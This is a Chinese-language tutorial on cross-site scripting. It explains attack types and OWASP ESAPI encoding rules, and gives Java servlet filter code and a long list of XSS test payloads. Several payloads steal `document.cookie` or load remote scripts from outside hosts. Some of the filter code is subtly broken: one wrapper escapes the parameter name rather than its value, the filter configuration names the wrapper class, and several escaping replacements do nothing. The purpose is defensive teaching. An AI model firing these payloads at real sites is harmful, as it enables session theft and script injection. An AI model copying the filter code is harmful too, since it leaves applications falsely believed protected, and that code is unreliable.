跨站脚本攻击
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script(php,js等)代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
攻击实例
下面为一个Input标签:
<input type="text" value="value"></input>
当用输入值为" οnfοcus="alert(document.cookie) 时,
input标签内容变为 <input type="text" value=""onfocus="alert(document.cookie)"></input>
当input中的可以执行的js脚本被存储到数据库中。用户再次取出显示时。就会取到用户的cookie。从而得到用户名和密码。
(1)添加用户
(2)数据库中存储可执行脚本
(3)编辑用户(XSS攻击发生)
攻击危害
以上获取用户名和密码只是个简单的xss攻击,还有跟多的XSS攻击实例。例如将用户导航到其他网站,后台挂马操作等
总体来说,XSS分三类,存储型XSS、反射型XSS、DOM-XSS。
存储型XSS
数据库中存有的存在XSS攻击的数据,返回给客户端。若数据未经过任何转义。被浏览器渲染。就可能导致XSS攻击;
反射型XSS
将用户输入的存在XSS攻击的数据,发送给后台,后台并未对数据进行存储,也未经过任何过滤,直接返回给客户端。被浏览器渲染。就可能导致XSS攻击;
DOM-XSS
纯粹发生在客户端的XSS攻击,比如:http://www.some.site/page.html?default=French
哪几种编码会导致xss攻击?
一、2.HTML实体编码
将不可信数据插入到HTML标签之间时,应对这些数据进行HTML Entity编码,具体编码对照表如下。
‘——' 不推荐将单引号( ‘ )编码为 ' 因为它并不是标准的HTML标签
/ ——/
推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。HTML实体编码接口:
String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));
二、HTML属性编码
将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码,不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,应该对这些数据进行JavaScript编码。
String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));
三、Script编码
主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。
可以使用ESAPI提供的函数进行JavaScript编码:
String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));
四、CSS编码
当需要往Stylesheet,Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。传统印象里CSS不过是负责页面样式的,但是实际上它比我们想象的要强大许多,而且还可以用来进行各种攻击。因此,不要对CSS里存放不可信数据掉以轻心,应该只允许把不可信数据放入到CSS属性的值部分,并进行适当的编码。除此以外,最好不要把不可信数据放到一些复杂属性里,比如url, behavior等,只能被IE认识的Expression属性允许执行JavaScript脚本,因此也不推荐把不可信数据放到这里。
可以使用ESAPI提供的函数进行CSS编码:
String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));
五、URL编码
当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:
String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));
ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:
String userProvidedURL = request.getParameter(“userProvidedURL”);
boolean isValidURL = ESAPI.validator().isValidInput
(“URLContext”, userProvidedURL, “URL”, 255, false);
if (isValidURL)
{<a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>”>
</a>}
六、使用富文本时,使用XSS规则引擎进行编码过滤
Web应用一般都会提供用户输入富文本信息的功能,比如BBS发帖,写博客文章等,用户提交的富文本信息里往往包含了HTML标签,甚至是JavaScript脚本,如果不对其进行适当的编码过滤的话,则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞,所以就不允许用户输入富文本,这样对用户体验伤害很大。
针对富文本的特殊性,我们可以使用XSS规则引擎对用户输入进行编码过滤,只允许用户输入安全的HTML标签,如, ,
等,对其他数据进行HTML编码。需要注意的是,经过规则引擎编码过滤后的内容只能放在
等安全的HTML标签里,不要放到HTML标签的属性值里,更不要放到HTML事件处理属性里,或者放到
推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer
七、其他配合消减措施
1、对输入的数据进行黑白名单过滤;
2、为Cookie设置HttpOnly和Secure属性
附:使用ESAPI接口进行编码效果截图
XSS防御—样例
输入
客户端求情参数:包括用户输入,url参数、post参数。
在产品形态上,针对不同输入类型,对输入做变量类型限制。
如,http://xss.qq.com?default=12,Default值强制限制为整形
字符串类型的数据,需要针对<、>、/、’、”、&五个字符进行实体化转义。
输出
即使在客户端对用户的输入做了过滤、转义,攻击者一样可能,通过截包,转发等手段,修改你的请求包体。最终还是要在数据输出的时候做数据转义。
下面的HTML片段显示了如何安全地在多种不同的上下文中渲染不可信数据。
情况一
数据类型:String
上下文:HTML Body
示例代码:UNTRUSTED DATA
防御措施:HTML Entity编码
情况二
数据类型:String
上下文:安全HTML变量
示例代码:<input type="text" name="fname" value="UNTRUSTED DATA">
防御措施
-
HTML Attribute编码
-
只把不可信数据放在安全白名单内的变量上(白名单在下文列出)
-
严格地校验不安全变量,如background、id和name
情况三
数据类型:String
上下文:GET参数
示例代码:<a href="/site/search?value=UNTRUSTED DATA">clickme</a>
防御措施:URL编码
情况四
数据类型:String
上下文:使用在src或href变量上的不可信URLs
示例代码:
<a href="UNTRUSTED URL">clickme</a>
<iframe src="UNTRUSTED URL" />
防御措施:
-
对输入进行规范化
-
URL校验
-
URL安全性认证
-
只允许使用http和https协议(避免使用JavaScript协议去打开一个新窗口)
-
HTML Attribute编码
情况五
数据类型:String
上下文:CSS值
示例代码:<div style="width: UNTRUSTED DATA;">Selection</div>
防御措施:
-
使用CSS编码
-
使用CSS Hex编码
-
良好的CSS设计
情况六
数据类型:String
上下文:JavaScript变量
示例代码:
<script>var currentValue='UNTRUSTED DATA';</script>
<script>someFunction('UNTRUSTED DATA');</script>
防御措施:
- 确保所有变量值都被引号括起来
- 使用JavaScript Hex编码
- 使用JavaScript Unicode编码
- 避免使用“反斜杠转译”("、'或者\)
情况七
数据类型:HTML
上下文:HTML Body
示例代码:
防御措施:
[HTML校验 (JSoup, AntiSamy, HTML Sanitizer)]
(https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#RULE_.236_-_Use_an_HTML_Policy_engine_to_validate_or_clean_user-driven_HTML_in_an_outbound_way)
情况八
数据类型:String
上下文:DOM XSS
示例代码:
防御措施:
基于DOM操作的XSS漏洞防御措施
所有输出的数据转义都应该遵守上表的规则,而针对同步数据和异步数据,有较大的使用区别做了区分:
同步数据
React页面主动屏蔽掉XSS,非react则需要对不可信任数据,要进行输出转义。
对于html白名单需求,可以使用SanitizeHelper模块提供了一个方法集合来处理非预期的HTML元素。
不同的使用方式,编码方式不同,java现成的工具可以用——ESAPI,不同位置如何转义可参照ESAPI文档,比如属性值转义:
String safe = ESAPI.encoder().encodeForHTMLAttribute(
request.getParameter( "input" ) );
-
异步、后台直出给js使用的json数据
-
对于不可信任的json数据。因为json数据可能用到不同的地方,所以转义可以放在前端js去转义。
-
参与运算的动态变量,最好转化为对应类型后再运算。如number型.
-
如果是字符串操作,保证字符串被引号包裹。
-
不能使用eval ,new fuction,settimeout执行动态字符串,因为这个字符串很可能就是一个xss代码,如果无法避免,那么也要转义之后再参与运算。
-
输出到页面上的数据必须使用相应方法转义,前端可以考虑寻找js插件处理。目前jquery-encoder,可用于前端json转义。使用方式与ESAPI类似,在需要渲染的时候进行转义。
后台攻击预防
原理:主要采用过滤器对请求中的特殊字符进行编码转化。从而将可以执行的script代码变为不可以执行的script脚本存储到数据库中。一般的java后端采用filter种重写requestwrapper的形式来实现xss的过滤和替换
1、使用spring的HtmlUtils,可以使用StringEscapeUtils 中的过滤方法
/**
* 解决XSS跨站脚本攻击和sql注入攻击,使用spring的HtmlUtils,可以使用StringEscapeUtils 中的过滤方法
*/
public class XssSpringHttpServletRequestWrapper extends HttpServletRequestWrapper{
public XssSpringHttpServletRequestWrapper(HttpServletRequest request) {
super(request);
}
/**
* 对数组参数进行特殊字符过滤
*/
@Override
public String[] getParameterValues(String name) {
String[] values = super.getParameterValues(name);
String[] newValues = new String[values.length];
for (int i = 0; i < values.length; i++) {
//spring的HtmlUtils进行转义
newValues[i] = HtmlUtils.htmlEscape(values[i]);
}
return newValues;
}
/**
* 拦截参数,并对其进行字符转义
*/
@Override
public String getParameter(String name) {
return HtmlUtils.htmlEscape(name);
}
/**
* 拦截参数,并对其进行字符转义
*/
@Override
public Object getAttribute(String name) {
return HtmlUtils.htmlEscape(name);
}
}
2、实现XSS过滤器
/**
* spring方式xss过滤器
*/
public class XssSpringFilter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
chain.doFilter(new XssSpringHttpServletRequestWrapper(req), response);
}
@Override
public void destroy() {
}
}
3、配置XSS过滤器
<!-- spring方式的xss过滤器 -->
<filter>
<filter-name>xssSpringFilter</filter-name>
<filter-class>cn.aric.xss.XssSpringHttpServletRequestWrapper</filter-class>
</filter>
<filter-mapping>
<filter-name>xssSpringFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
也可以自己实现一个xss的替换和过滤规则,注意如果要读取body参数的话,要注意流只能被读一次,因为read的指针已经移动到了文件末尾,会出现body找不到的情况这个时候你需要读取了inputStream之后,再将数据写回去
package com.yl.filter;
import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import org.springframework.beans.factory.parsing.ReaderEventListener;
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
boolean isUpData = false;//判断是否是上传 上传忽略
public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
super(servletRequest);
String contentType = servletRequest.getContentType ();
if (null != contentType)
isUpData =contentType.startsWith ("multipart");
}
@Override
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values==null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = cleanXSS(values[i]);
}
return encodedValues;
}
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
if (value == null) {
return null;
}
return cleanXSS(value);
}
/**
* 获取request的属性时,做xss过滤
*/
@Override
public Object getAttribute(String name) {
Object value = super.getAttribute(name);
if (null != value && value instanceof String) {
value = cleanXSS((String) value);
}
return value;
}
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return cleanXSS(value);
}
private static String cleanXSS(String value) {
value = value.replaceAll("<", "<").replaceAll(">", ">");
value = value.replaceAll("%3C", "<").replaceAll("%3E", ">");
value = value.replaceAll("\\(", "(").replaceAll("\\)", ")");
value = value.replaceAll("%28", "(").replaceAll("%29", ")");
value = value.replaceAll("'", "'");
value = value.replaceAll("eval\\((.*)\\)", "");
value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
value = value.replaceAll("script", "");
return value;
}
@Override
public ServletInputStream getInputStream () throws IOException {
if (isUpData){
return super.getInputStream ();
}else{
final ByteArrayInputStream bais = new ByteArrayInputStream(inputHandlers(super.getInputStream ()).getBytes ());
return new ServletInputStream() {
@Override
public int read() throws IOException {
return bais.read();
}
public boolean isFinished() {
return false;
}
public boolean isReady() {
return false;
}
public void setReadListener(ReaderEventListener readListener) { }
};
}
}
public String inputHandlers(ServletInputStream servletInputStream){
StringBuilder sb = new StringBuilder();
BufferedReader reader = null;
try {
reader = new BufferedReader(new InputStreamReader (servletInputStream, Charset.forName("UTF-8")));
String line = "";
while ((line = reader.readLine()) != null) {
sb.append(line);
}
} catch (IOException e) {
e.printStackTrace();
} finally {
if (servletInputStream != null) {
try {
servletInputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (reader != null) {
try {
reader.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
return cleanXSS(sb.toString ());
}
}
再贴一个xss的实现,使用正则匹配方式来实现过滤,但是这样也有可能出现正则漏洞攻击,但是安全这东西本身就是相对而言的。
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import java.util.regex.Pattern;
public class XSSRequestWrapper extends HttpServletRequestWrapper {
public XSSRequestWrapper(HttpServletRequest request) {
super(request);
}
@Override
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = stripXSS(values[i]);
}
return encodedValues;
}
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
return stripXSS(value);
}
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
//return stripXSS(value);
return value;
}
public String getQueryString() {
String value = super.getQueryString();
if (value != null) {
value = stripXSS(value);
}
return value;
}
private String stripXSS(String value) {
if (value != null) {
// Avoid anything between script tags
Pattern scriptPattern = Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid anything in a
// expression
scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
// Remove any lonesome </script> tag
scriptPattern = Pattern.compile("</script>", Pattern.CASE_INSENSITIVE);
value = scriptPattern.matcher(value).replaceAll("");
// Remove any lonesome <script ...> tag
scriptPattern = Pattern.compile("<script(.*?)>",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid eval(...) expressions
scriptPattern = Pattern.compile("eval\\((.*?)\\)",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid expression(...) expressions
scriptPattern = Pattern.compile("expression\\((.*?)\\)",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid javascript:... expressions
scriptPattern = Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid vbscript:... expressions
scriptPattern = Pattern.compile("vbscript:", Pattern.CASE_INSENSITIVE);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid οnlοad= expressions
scriptPattern = Pattern.compile("onload(.*?)=",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
/*过滤html标签*/
Pattern p_html = Pattern.compile("<[^>]+>", Pattern.CASE_INSENSITIVE);
value = p_html.matcher(value).replaceAll("");
Pattern p_html1 = Pattern.compile("<[^>]+", Pattern.CASE_INSENSITIVE);
value = p_html1.matcher(value).replaceAll("");
}
return value;
}
}
都写好了之后,记得编写Filter配置类
@Configuration
public class ServletConfig {
@Bean
public FilterRegistrationBean heFilterRegistration() {
FilterRegistrationBean registration = new FilterRegistrationBean(new xssFilter());
registration.addUrlPatterns("/*");
return registration;
}
}
XSS测试语句
部分测试:
<script>alert('hello,gaga!');</script> //经典语句,哈哈!
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"("XSS")>
<IMG SRC="jav	ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
<IMG SRC=" javascript.:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript.:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript.:alert('XSS')">
<IMG LOWSRC="javascript.:alert('XSS')">
<BGSOUND SRC="javascript.:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
<IMG SRC='vbscript.:msgbox("XSS")'>
<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript.:alert('XSS')">
<DIV STYLE="background-image: url(javascript.:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
<BASE HREF="javascript.:alert('XSS');//">
getURL("javascript.:alert('XSS')")
a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascript.:alert('XSS');">
"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript.:alert('XSS')"
<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
前台进行编码禁止 XSS防御插件
官网:https://jsxss.com/zh/starter/quickstart.html
一个开箱即用的node插件,可通过简单的方式防止XSS攻击
安装
NPM
$ npm install xss
Bower
$ bower install xss
或者
$ bower install https://github.com/leizongmin/js-xss.git
在Node.js中使用
var xss = require('xss');
var html = xss('<script>alert("xss");</script>');
console.log(html);
参考文章:
https://jsxss.com/zh/index.html
https://www.cnblogs.com/zzhoo/p/15407679.html
https://github.com/Kylelkh/js-xss